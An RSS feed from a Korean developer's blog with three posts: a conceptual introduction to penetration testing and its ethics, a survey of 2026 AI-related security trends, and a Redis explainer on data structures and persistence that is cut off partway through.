<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>안예성</title>
    <link>https://anys34.tistory.com/</link>
    <description>백엔드 개발자로 꾸준히 성장중인 안예성입니다!</description>
    <language>ko</language>
    <pubDate>Fri, 17 Jul 2026 00:33:55 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>anys</managingEditor>
    <image>
      <title>안예성</title>
      <url>https://tistory1.daumcdn.net/tistory/6394102/attach/a4230c0d41ef4ca2a2f38749e320ddc2</url>
      <link>https://anys34.tistory.com</link>
    </image>
    <item>
      <title>모의해킹과 취약점 분석의 이해</title>
      <link>https://anys34.tistory.com/18</link>
      <description>&lt;h2 data-end=&quot;186&quot; data-start=&quot;168&quot; data-ke-size=&quot;size26&quot;&gt;1. 모의해킹의 개념과 목적&lt;/h2&gt;
&lt;p data-end=&quot;370&quot; data-start=&quot;188&quot; data-ke-size=&quot;size16&quot;&gt;모의해킹(Penetration Testing)이란 실제 해킹 기법과 동일하거나 유사한 방법을 사용하여 정보시스템의 보안 취약점을 사전에 점검하고 개선하기 위한 보안 활동이다. 공격자의 관점에서 시스템을 분석하고 침투를 시도함으로써, 실제 사이버 공격이 발생했을 때 어떤 피해가 발생할 수 있는지를 미리 확인하는 것이 목적이다.&lt;/p&gt;
&lt;p data-end=&quot;582&quot; data-start=&quot;372&quot; data-ke-size=&quot;size16&quot;&gt;실제 해킹과 모의해킹의 가장 큰 차이점은 &lt;b&gt;합법성과 목적&lt;/b&gt;에 있다. 실제 해킹은 시스템 소유자의 허가 없이 침입하여 금전적 이득, 정보 탈취, 서비스 마비 등의 악의적인 목적을 가지지만, 모의해킹은 &lt;b&gt;사전 승인된 범위 내에서&lt;/b&gt; 보안 강화를 목적으로 수행된다. 즉, 모의해킹은 공격 자체가 목적이 아니라, 발견된 취약점을 통해 보안 수준을 향상시키는 데 그 의의가 있다.&lt;/p&gt;
&lt;p data-end=&quot;708&quot; data-start=&quot;584&quot; data-ke-size=&quot;size16&quot;&gt;모의해킹의 주요 목적은 시스템의 취약점을 사전에 발견하여 보완하고, 보안 사고로 인한 피해를 예방하는 것이다. 또한 조직의 보안 대응 능력을 점검하고, 보안 정책과 보안 시스템이 실제로 효과적인지 검증하는 역할도 수행한다.&lt;/p&gt;
&lt;hr data-end=&quot;713&quot; data-start=&quot;710&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;732&quot; data-start=&quot;715&quot; data-ke-size=&quot;size26&quot;&gt;2. 모의해킹의 기본 절차&lt;/h2&gt;
&lt;p data-end=&quot;789&quot; data-start=&quot;734&quot; data-ke-size=&quot;size16&quot;&gt;모의해킹은 일반적으로 일정한 절차에 따라 체계적으로 수행되며, 대표적으로 다음 네 단계로 구성된다.&lt;/p&gt;
&lt;h3 data-end=&quot;827&quot; data-start=&quot;791&quot; data-ke-size=&quot;size23&quot;&gt;1) 정보 수집 (Information Gathering)&lt;/h3&gt;
&lt;p data-end=&quot;989&quot; data-start=&quot;829&quot; data-ke-size=&quot;size16&quot;&gt;정보 수집 단계는 공격 대상 시스템에 대한 기초 정보를 확보하는 과정이다. 도메인 정보, IP 주소, 서버 운영체제, 사용 중인 서비스 및 포트 정보 등을 수집한다. 이 단계에서는 공개된 정보(OSINT)를 활용하여 시스템 구조를 파악하며, 직접적인 공격보다는 사전 조사에 초점을 둔다.&lt;/p&gt;
&lt;h3 data-end=&quot;1031&quot; data-start=&quot;991&quot; data-ke-size=&quot;size23&quot;&gt;2) 스캐닝 및 탐색 (Scanning &amp;amp; Enumeration)&lt;/h3&gt;
&lt;p data-end=&quot;1190&quot; data-start=&quot;1033&quot; data-ke-size=&quot;size16&quot;&gt;스캐닝 단계에서는 수집한 정보를 기반으로 실제로 시스템에 접근 가능한 요소를 탐색한다. 열려 있는 포트, 실행 중인 서비스, 버전 정보 등을 확인하며, 이를 통해 잠재적인 공격 지점을 파악한다. 탐색 과정에서는 시스템의 사용자 계정이나 공유 자원 등의 추가 정보를 확인하기도 한다.&lt;/p&gt;
&lt;h3 data-end=&quot;1230&quot; data-start=&quot;1192&quot; data-ke-size=&quot;size23&quot;&gt;3) 취약점 분석 (Vulnerability Analysis)&lt;/h3&gt;
&lt;p data-end=&quot;1381&quot; data-start=&quot;1232&quot; data-ke-size=&quot;size16&quot;&gt;취약점 분석 단계에서는 스캐닝 결과를 토대로 보안 취약점을 식별한다. 사용 중인 소프트웨어의 알려진 취약점(CVE), 잘못된 설정, 입력값 검증 미흡 여부 등을 분석한다. 이 단계에서는 자동화 도구와 수동 분석을 병행하여 실제 공격 가능성이 있는 취약점인지 판단한다.&lt;/p&gt;
&lt;h3 data-end=&quot;1430&quot; data-start=&quot;1383&quot; data-ke-size=&quot;size23&quot;&gt;4) 공격 및 결과 확인 (Exploitation &amp;amp; Verification)&lt;/h3&gt;
&lt;p data-end=&quot;1580&quot; data-start=&quot;1432&quot; data-ke-size=&quot;size16&quot;&gt;마지막 단계에서는 발견된 취약점을 실제로 악용 가능한지 검증한다. 이를 통해 권한 상승, 정보 유출, 시스템 제어 가능 여부 등을 확인한다. 공격 결과는 문서화하여 보고서로 정리되며, 단순한 침투 성공 여부뿐만 아니라 예상 피해 범위와 개선 방안까지 함께 제시한다.&lt;/p&gt;
&lt;hr data-end=&quot;1585&quot; data-start=&quot;1582&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;1608&quot; data-start=&quot;1587&quot; data-ke-size=&quot;size26&quot;&gt;3. 대표적인 취약점 2가지 설명&lt;/h2&gt;
&lt;h3 data-end=&quot;1630&quot; data-start=&quot;1610&quot; data-ke-size=&quot;size23&quot;&gt;1) SQL Injection&lt;/h3&gt;
&lt;p data-end=&quot;1778&quot; data-start=&quot;1632&quot; data-ke-size=&quot;size16&quot;&gt;SQL Injection은 웹 애플리케이션이 사용자 입력값을 검증하지 않고 데이터베이스 쿼리에 그대로 사용하는 경우 발생하는 취약점이다. 공격자는 입력창에 악의적인 SQL 구문을 삽입하여 데이터베이스를 조작하거나, 인증을 우회하고 민감한 정보를 탈취할 수 있다.&lt;/p&gt;
&lt;p data-end=&quot;1937&quot; data-start=&quot;1780&quot; data-ke-size=&quot;size16&quot;&gt;이 취약점의 주요 원인은 &lt;b&gt;입력값 검증 미흡&lt;/b&gt;과 &lt;b&gt;동적 쿼리 사용&lt;/b&gt;이다. Prepared Statement와 같은 안전한 쿼리 방식이 적용되지 않을 경우 발생 가능성이 높다. SQL Injection은 비교적 오래된 취약점이지만, 여전히 많은 보안 사고의 원인이 되고 있다.&lt;/p&gt;
&lt;h3 data-end=&quot;1972&quot; data-start=&quot;1939&quot; data-ke-size=&quot;size23&quot;&gt;2) XSS (Cross-Site Scripting)&lt;/h3&gt;
&lt;p data-end=&quot;2104&quot; data-start=&quot;1974&quot; data-ke-size=&quot;size16&quot;&gt;XSS는 공격자가 악성 스크립트를 웹 페이지에 삽입하여, 해당 페이지를 방문한 사용자의 브라우저에서 스크립트가 실행되도록 만드는 취약점이다. 이를 통해 세션 탈취, 사용자 정보 유출, 악성 사이트로의 리다이렉트 등이 발생할 수 있다.&lt;/p&gt;
&lt;p data-end=&quot;2228&quot; data-start=&quot;2106&quot; data-ke-size=&quot;size16&quot;&gt;XSS는 주로 사용자 입력값을 HTML에 그대로 출력할 때 발생하며, 출력 시 인코딩 처리가 제대로 이루어지지 않은 경우 문제가 된다. 특히 게시판, 댓글 기능, 검색창 등 사용자 입력이 많은 서비스에서 자주 발생한다.&lt;/p&gt;
&lt;hr data-end=&quot;2233&quot; data-start=&quot;2230&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;2254&quot; data-start=&quot;2235&quot; data-ke-size=&quot;size26&quot;&gt;4. 모의해킹 도구: Nmap&lt;/h2&gt;
&lt;p data-end=&quot;2419&quot; data-start=&quot;2256&quot; data-ke-size=&quot;size16&quot;&gt;Nmap은 네트워크 스캐닝을 목적으로 사용되는 대표적인 모의해킹 도구이다. 주로 대상 시스템의 IP 주소에 대해 열려 있는 포트와 실행 중인 서비스 정보를 탐색하는 데 사용된다. Nmap은 단순한 포트 스캔뿐만 아니라 운영체제 추정, 서비스 버전 확인, 기본적인 취약점 탐지 기능도 제공한다.&lt;/p&gt;
&lt;p data-end=&quot;2551&quot; data-start=&quot;2421&quot; data-ke-size=&quot;size16&quot;&gt;이 도구의 특징은 빠른 속도와 다양한 스캔 옵션, 그리고 스크립트 엔진(NSE)을 통한 확장성이다. 이를 통해 보안 전문가는 네트워크의 공격 표면을 효율적으로 파악할 수 있으며, 이후 취약점 분석 단계의 기초 자료로 활용할 수 있다.&lt;/p&gt;
&lt;hr data-end=&quot;2556&quot; data-start=&quot;2553&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;2574&quot; data-start=&quot;2558&quot; data-ke-size=&quot;size26&quot;&gt;5. 모의해킹과 법&amp;middot;윤리&lt;/h2&gt;
&lt;p data-end=&quot;2718&quot; data-start=&quot;2576&quot; data-ke-size=&quot;size16&quot;&gt;모의해킹은 반드시 &lt;b&gt;사전 승인&lt;/b&gt;과 &lt;b&gt;명확한 범위 정의&lt;/b&gt; 하에서만 합법적으로 수행될 수 있다. 시스템 소유자 또는 관리자와의 계약을 통해 테스트 대상, 기간, 허용된 공격 범위를 명확히 해야 하며, 이를 벗어난 행위는 불법 해킹으로 간주될 수 있다.&lt;/p&gt;
&lt;p data-end=&quot;2887&quot; data-start=&quot;2720&quot; data-ke-size=&quot;size16&quot;&gt;또한 보안 전문가는 높은 수준의 윤리 의식을 가져야 한다. 테스트 과정에서 알게 된 민감한 정보는 외부에 유출해서는 안 되며, 발견한 취약점은 악용이 아닌 개선을 목적으로 보고해야 한다. 최소한의 공격으로 최대한의 검증을 수행하고, 시스템 가용성에 피해를 주지 않는 것 역시 중요한 윤리적 원칙이다.&lt;/p&gt;</description>
      <category>보안</category>
      <author>anys</author>
      <guid isPermaLink="true">https://anys34.tistory.com/18</guid>
      <comments>https://anys34.tistory.com/18#entry18comment</comments>
      <pubDate>Mon, 15 Dec 2025 02:23:31 +0900</pubDate>
    </item>
    <item>
      <title>2026년 보안 트렌드와 AI 관련 이슈</title>
      <link>https://anys34.tistory.com/17</link>
      <description>&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글은 2026년에 주목해야 할 사이버 보안 흐름과 인공지능(AI)이 미치는 영향, 실무적 권장사항을 간결하게 정리한 문서입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 개요 &amp;mdash; AI가 바꾸는 위협과 방어의 판도&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026년에는 AI가 공격자와 방어자 양쪽 모두의 핵심 무기가 된다. 공격자는 자동화&amp;middot;대규모화&amp;middot;정교화를 통해 속도와 타깃 적중률을 높이고, 방어자는 AI 에이전트를 통해 탐지&amp;middot;대응&amp;middot;취약점 패치 속도를 높여야 한다는 전망이 지배적이다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 핵심 트렌드&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.1 AI로 고도화되는 공격: 자동 피싱&amp;middot;적응형 악성코드&amp;middot;딥페이크&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;대규모 맞춤형 피싱(개인&amp;middot;조직 맞춤 메시지 자동 생성), 사회공학 자동화, 딥페이크를 활용한 인증 우회 시도가 늘어난다.&lt;/li&gt;
&lt;li&gt;전통적 시그니처 기반 방어는 효과가 급격히 떨어지고, 행위 기반&amp;middot;컨텍스트 기반 탐지가 필수가 된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.2 AI를 통한 방어 자동화와 '에이전트' 기반 보안 운영&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;보안 운영(티켓 분류, 초기 포렌식, 취약점 우선순위 지정 등)에 AI 에이전트가 널리 도입되어 SOC의 생산성을 크게 높인다. 그러나 에이전트 자체의 권한&amp;middot;데이터 유출 위험(Shadow Agent)이 새 리스크로 부상한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.3 AI 공급망과 모델 공격: '모델의 보안'이 곧 인프라 보안&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;학습 데이터&amp;middot;모델 무결성, 서드파티 모델&amp;middot;플러그인에서 발생하는 취약성이 현실화된다. 모델 독성 주입, 데이터 중독(poisoning), 모델 추출(model extraction) 공격이 확산될 우려가 있다. 이에 따라 AI 공급망 리스크 관리와 사이버 복원력(Cyber Resilience)이 핵심 과제로 떠오른다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.4 아이덴티티(계정&amp;middot;접근)와 제로 트러스트의 가속&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;AI의 자동화된 계정 탈취 시도와 비정형 로그를 막기 위해 MFA(다요소 인증), 위험 기반 인증, 제로 트러스트 설계가 더 이상 선택이 아닌 필수로 자리잡는다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.5 에지&amp;middot;클라우드&amp;middot;AI 브라우저의 보안 취약성&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;AI 브라우저&amp;middot;대리 에이전트(Agentic browsers)는 사용자 행위를 원격 모델로 전송하면서 민감정보가 유출될 가능성이 제기된다. 기업은 해당 클라이언트/브라우저에 대한 사용 정책과 백엔드 리스크 평가가 필요하다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.6 규제&amp;middot;법적 책임과 거버넌스의 강화&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;AI가 사고 원인으로 지목될 경우 책임 소재, 공급망 투명성 요구, 모델에 대한 규제&amp;middot;감사 요구가 강화될 전망이다. 기업은 모델 거버넌스(데이터 출처&amp;middot;버전관리&amp;middot;검증)를 준비해야 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 실무적 권장사항 (조직별 우선순위)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;A. 경영진 / 의사결정자&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;AI&amp;middot;보안 리스크를 경영 리스크로 편입&lt;/b&gt;: AI 관련 사고 시 재무&amp;middot;평판 리스크 시나리오를 마련.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;예산 우선순위 재조정&lt;/b&gt;: AI 에이전트 보안, 모델 거버넌스, 제로트러스트 도입에 예산 배분.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;B. 보안 운영팀(SOC)&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;AI 기반 탐지&amp;middot;응답 도구 도입&lt;/b&gt;: 행위 기반&amp;middot;연관분석을 지원하는 XDR/EDR + AI 분석 파이프라인 구축.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;에이전트 권한 최소화 및 모니터링&lt;/b&gt;: 자동화 에이전트의 권한&amp;middot;로그&amp;middot;데이터 흐름을 엄격히 통제.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;C. 개발&amp;middot;AI팀&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;모델 보안(ML Ops 보안) 표준화&lt;/b&gt;: 데이터 무결성 검사, 모델 서명&amp;middot;버전관리, 접근 통제.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;공급업체 검증&lt;/b&gt;: 서드파티 모델&amp;middot;데이터 제공자의 보안 태세 평가 및 SLA에 보안 조항 포함.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;D. 전체 조직(직원&amp;middot;개인)&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;피싱&amp;middot;딥페이크 인식 훈련 강화&lt;/b&gt;: 자동화된 피싱이 정교해진 만큼 실무자 훈련과 시뮬레이션을 정기화.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;민감 데이터 최소화&amp;middot;분류 체계 정비&lt;/b&gt;: 데이터 흐름을 명확히 하고 민감 데이터 전송을 제한.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 정책&amp;middot;기술 투자 포인트 (우선순위)&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;모델&amp;middot;데이터 거버넌스 툴&lt;/b&gt; 구축&lt;/li&gt;
&lt;li&gt;&lt;b&gt;제로 트러스트 아키텍처&lt;/b&gt; 전사 적용&lt;/li&gt;
&lt;li&gt;&lt;b&gt;AI 기반 위협 인텔리전스&lt;/b&gt;(적응형 탐지) 도입&lt;/li&gt;
&lt;li&gt;&lt;b&gt;레드팀&amp;middot;블루팀의 AI 활용 역량 강화&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;공급망 보안(특히 AI 공급망)&lt;/b&gt; 점검 및 계약적 보호장치 마련.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 결론 &amp;mdash; 균형(Enable + Protect)이 핵심&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026년은 AI가 &amp;lsquo;기능&amp;rsquo;(업무 자동화)을 넘어 &amp;lsquo;위협&amp;rsquo;(공격 자동화)과 &amp;lsquo;방어&amp;rsquo;(보안 자동화) 모두를 증폭시키는 해다. 조직은 AI의 이점을 적극 활용하되, &lt;b&gt;모델&amp;middot;에이전트 권한 관리, 데이터 무결성, 제로 트러스트, 공급망 검증&lt;/b&gt;을 병행하지 않으면 공격자 우위의 환경에서 취약해질 가능성이 크다. OpenAI를 비롯한 주요 주체들도 공개적으로 고위험 시나리오를 경고하고 있어(모델이 제로데이 익스플로잇을 도울 수 있다는 우려 등), 사전 준비와 거버넌스 설정이 시급하다.&lt;/p&gt;</description>
      <category>보안</category>
      <author>anys</author>
      <guid isPermaLink="true">https://anys34.tistory.com/17</guid>
      <comments>https://anys34.tistory.com/17#entry17comment</comments>
      <pubDate>Mon, 15 Dec 2025 01:51:30 +0900</pubDate>
    </item>
    <item>
      <title>Redis의 모든 것</title>
      <link>https://anys34.tistory.com/16</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;389&quot; data-origin-height=&quot;130&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yKGAW/btsNt6yAxdw/k4WxGQ0W5vmjBwWBRarEu0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yKGAW/btsNt6yAxdw/k4WxGQ0W5vmjBwWBRarEu0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yKGAW/btsNt6yAxdw/k4WxGQ0W5vmjBwWBRarEu0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyKGAW%2FbtsNt6yAxdw%2Fk4WxGQ0W5vmjBwWBRarEu0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;389&quot; height=&quot;130&quot; data-origin-width=&quot;389&quot; data-origin-height=&quot;130&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;이 글을 쓰게 된 이유&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;백엔드 개발을 진행하면서 캐싱, 동시성 해결, 메시지 브로커 등 많은 용도로 Redis가 사용되고 있어 Redis가 무엇인지와 어떤 상황에 적용하면 좋을지에 대해서 알아보려고 합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Redis란?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Redis는 오픈소스 기반의 인메모리 데이터 저장소 입니다. key-value 데이터 구조를 가진 비관계형 데이터 베이스 관리 시스템입니다. Redis는 속도가 빠르고 사용이 간편하여 최고의 성능이 필요한 애플리케이션에서 많이 사용되고 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Single Threaded&lt;/b&gt;이므로 한 번의 하나의 명령어만 처리할 수 있습니다. 그렇기에 중간에 처리 시간이 긴 명령어가 들어오면 그 뒤의 명령어들은 모두 앞에 있는 명령어가 처리될 때까지 대기가 필요합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Redis의 데이터 구조&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;String(문자열)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 가장 기본적인 자료구조&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;List (리스트)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 양방향 연결 리스트&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Set(집합)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 중복 없는 데이터 집합&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Sorted Set (ZSet)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 우선순위 큐처럼 사용 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Hash (해시)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 필드-값 쌍으로 구성된 데이터&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Bitmap&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 매우 적은 메모리로 대용량 데이터 처리 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;HyperLogLog&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 유니크 개수 추정용 자료구조&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Stream&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 로그 스트림 또는 메시지 큐처럼 사용 가능&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Redis 데이터의 영속성&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;Persistence(영속성) - 데이터를 생성한 프로그램의 실행이 종료되더라도 사라지지 않는 데이터의 특성&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Redis는 인메모리 기반의 휘발성 DB임으로 데이터가 날라갈 염려가 있다. 데이터 유실을 방지하기 위하여 영속성 기능을 제공합니다. 만약 서버가 죽어도 다시 디스크에 있는 데이터를 가져와 복구할 수 있다는 것이다. Redis의 영속성을 크게 2가지로 나눌 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;RDB(Redis Database) - 스냅샷 방식&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특정 시점의 메모리 상태를 디스크에 덤프 형식으로 저장합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;.rdb 파일이 생성되며, Redis 재시작시 해당 파일을 불러와 데이터를 복원합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;장점&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 부모 프로세스가 자식 프로세스를 생성하여, 부모프로세스의 디스크 I/O가 수행되지 않고 자식 프로세스가 disk에 snapshot을 저장&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- AOF에 비해 더 빠르게 복원이 가능하다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 다양한 버전의 RDB스냅샷을 저장하여 복원할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;단점&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 특정 주기별로 저장하기 때문에 몇 분 간의 데이터를 손실 할 수 있다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 레디스 데이터가 큰 경우 자식 프로세스를 fork하는 과정에서 길게 수초의 서비스 중단이 발생할 수 있다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 저장 중 서버가 죽으면 .rdb 파일 손상 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;rdb 저장 방식&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;save, dgsave 2가지의 rdb저장 방식이 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;save&lt;/b&gt; - 순간적으로 redis의 동작을 정지시키고 그 snapshot을 디스크에 저장 (blocking 방식), 디버깅/테스트에 적합&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;bgsave&lt;/b&gt; - 자식 프로세스를 띄운 후, 명령어 수행 당시의 snapshot을 disk에 저장하게 됩니다. redis는 동작을 멈추지 않게 됩니다. (non-blocking 방식), 운영환경에서 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용방법&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;redis.conf에 다음과 같은 명령어를 명시하여 조건부 저장 설정이 가능합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1745250366746&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;save 900 1   # 900초 동안 1개 이상의 변경이 있으면 저장
save 300 10  # 300초 동안 10개 이상의 변경
save 60 10000&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;redis 서버가 조건을 만족하면 자동으로 백그라운드에서 실행하여 .rdb 스냅샷을 생성하도록 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(redis.conf에 명시된 save는 bgsave방식으로 호출 됩니다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;AOF(Append Only FIle) - 로그 방식&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Redis에서 실행되는 모든 write 명령어를 로그처럼 파일에 저장합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;.aof 파일이 생성되며, Redis 재시작 시 로그를 하나씩 실행하여 복원합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;장점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 가장 최근의 데이터를 복원하여 복구가 가능하여 데이터 유실이 거의 없습니다.&lt;/p&gt;
